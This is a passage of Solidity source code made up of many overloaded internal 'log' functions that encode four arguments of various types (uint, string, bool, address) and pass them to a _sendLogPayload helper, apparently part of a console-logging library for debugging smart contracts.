function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
